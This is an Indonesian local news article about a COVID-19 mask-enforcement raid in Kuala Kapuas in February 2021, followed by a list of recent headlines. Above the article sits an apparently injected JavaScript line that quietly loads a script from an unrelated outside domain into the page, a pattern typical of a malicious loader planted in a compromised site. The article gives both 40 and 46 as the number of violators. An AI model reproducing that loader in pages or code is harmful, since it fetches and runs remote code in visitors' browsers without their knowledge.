(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Razia Protokol Kesehatan, Satgas Covid-19 Kapuas Jaring 46 Pelanggar


KANALKALIMANTAN. COM, KUALA KAPUAS – Satuan Polisi Pamong Praja dan Pemadam Kebakaran (Satpol PP dan Damkar) Kabupaten Kapuas bersama Kodim 1011/Klk, Polres Kapuas dan Dinas Perhubungan Kabupaten Kapuas menggelar penegakan hukum dan pendisiplinan protokol kesehatan di wilayah Kapuas, Senin (15/2/2021).

Kepala Satpol PP dan Damkar Kabupaten Kapuas Syahripin SSos melalui Kepala Bidang Penegakan Perda Ricky Adi Saputra mengatakan, razia atau operasi masker dalam rangka penegakan hukum dan pendisiplinan protokol kesehatan terhadap seluruh masyarakat di sejumlah kawasan jalan protokol, pasar dan kafe yang ada di kota Kuala Kapuas.

Satgas Covid-19 yang melakukan razia dari Satpol PP dan Damkar, TNI, Polri dan Dinas Perhubungan ini digalakkan untuk meningkatkan kesadaran masyarakat memakai masker. Operasi penegakan hukum protokol kesehatan bersama tim gabungan akan terus kami lakukan untuk mendisiplinkan masyarakat khususnya pemakaian masker. “Karena dari setiap mengelar razia masker masih banyak masyarakat yang didapati tidak mengunakan masker,” ungkapnya.

Dalam pelaksanaan razia masker tersebut, Satgas mendapati pelanggaran 40 orang pelanggar yang terjaring razia masker.

 

“Kita inginkan tingkat kepatuhan masyarakat dalam mematuhi protokol kesehatan meningkat, jangan menyepelekan corona, patuhi protokol kesehatan guna melindungi diri sendiri dari tertular covid 19,” terang Ricky.

Sekertaris Satpol PP dan Damkar Kabupaten Kapuas Teguh Yunianto mengatakan, tingkat kepatuhan masyarakat dalam mentaati protokol kesehatan yaitu memakai masker terlihat menurun.

Terlihat pada saat dilakukan razia masker selama satu jam yang berlokasi di jalan Tambun Bungai Patih Rumbih terdapat 46 orang terjaring razia. Maka dari itu masyarakat Kapuas agar ikuti sesuai protokol kesehatan dengan sering mencuci tangan, menjaga jarak serta menghindari kerumunan.

“Besar harapkan kami masyarakat semakin tertib dan disiplin dalam menerapkan protokol kesehatan khususnya memakai masker saat beraktivitas di luar rumah, yang tidak memakai masker saat beraktivitas di luar rumah dikenai sanksi sosial dan fisik,” tegas Teguh. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk

Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

41 menit ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

1 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

2 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

2 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

2 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

6 jam ago

This website uses cookies.